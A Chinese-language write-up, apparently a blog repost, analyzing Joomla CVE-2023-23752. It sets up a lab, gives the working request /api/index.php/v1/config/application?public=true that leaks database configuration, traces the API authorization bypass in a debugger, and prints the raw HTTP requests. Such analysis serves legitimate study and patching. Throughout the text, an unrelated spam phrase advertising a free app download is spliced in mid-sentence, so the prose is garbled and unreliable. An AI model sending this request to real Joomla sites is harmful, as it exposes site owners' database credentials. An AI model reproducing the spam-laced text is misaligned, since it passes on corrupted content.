Joomla未授权访问漏洞(CVE-2023-23752)
Joomla未授权访问漏洞(CVE-2023-23752)
漏洞简介
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息向日葵app下载汅api老版本免费。
影响版本
4.0.0 <= Joomla <= 4.2.7
环境搭建
文件下载地址
利用 phpstudy 搭建漏洞环境
我们利用 phpstudy 来搭建环境向日葵app下载汅api老版本免费,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试
安装完成后
前台
后台
漏洞复现
构造路由 /api/index.php/v1/config/application?public=true
返回向日葵app下载汅api老版本免费了数据库的相关信息
漏洞分析
经过调试分析发现是对 api 路径下的身份校验进行了绕过向日葵app下载汅api老版本免费,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}
所以就针对于 api 路径下的身份校验进行具体分析
api/index.php
api/includes/app.php
\Joomla\CMS\Application\CMSApplication::execute
\Joomla\CMS\Application\ApiApplication::doExecute
其中的 $this->route; 对应向日葵app下载汅api老版本免费了路由应用程序
\Joomla\CMS\Application\ApiApplication::route
$router 对应了 api 下所有的路由信息向日葵app下载汅api老版本免费,之后调用 parseApiRoute 对路由进行处理
\Joomla\CMS\Router\ApiRouter::parseApiRoute
当 public 为false 时向日葵app下载汅api老版本免费,是禁止外部访问的
GET /api/index.php/v1/config/application
Host:joomla.test
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(WindowsNT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/85.0.4183.83Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close
但是通过路径传入的值在之后可以覆盖替换原本的值
GET /api/index.php/v1/config/application?public=true
Host:joomla.test
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(WindowsNT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/85.0.4183.83Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close
征集原创技术文章中向日葵app下载汅api老版本免费,欢迎投递
投稿邮箱: [email protected]
文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关
通过审核并发布能收获200-800不等的稿酬
更多详情介绍向日葵app下载汅api老版本免费,点我查看
免费靶场实操向日葵app下载汅api老版本免费,戳“阅读原文“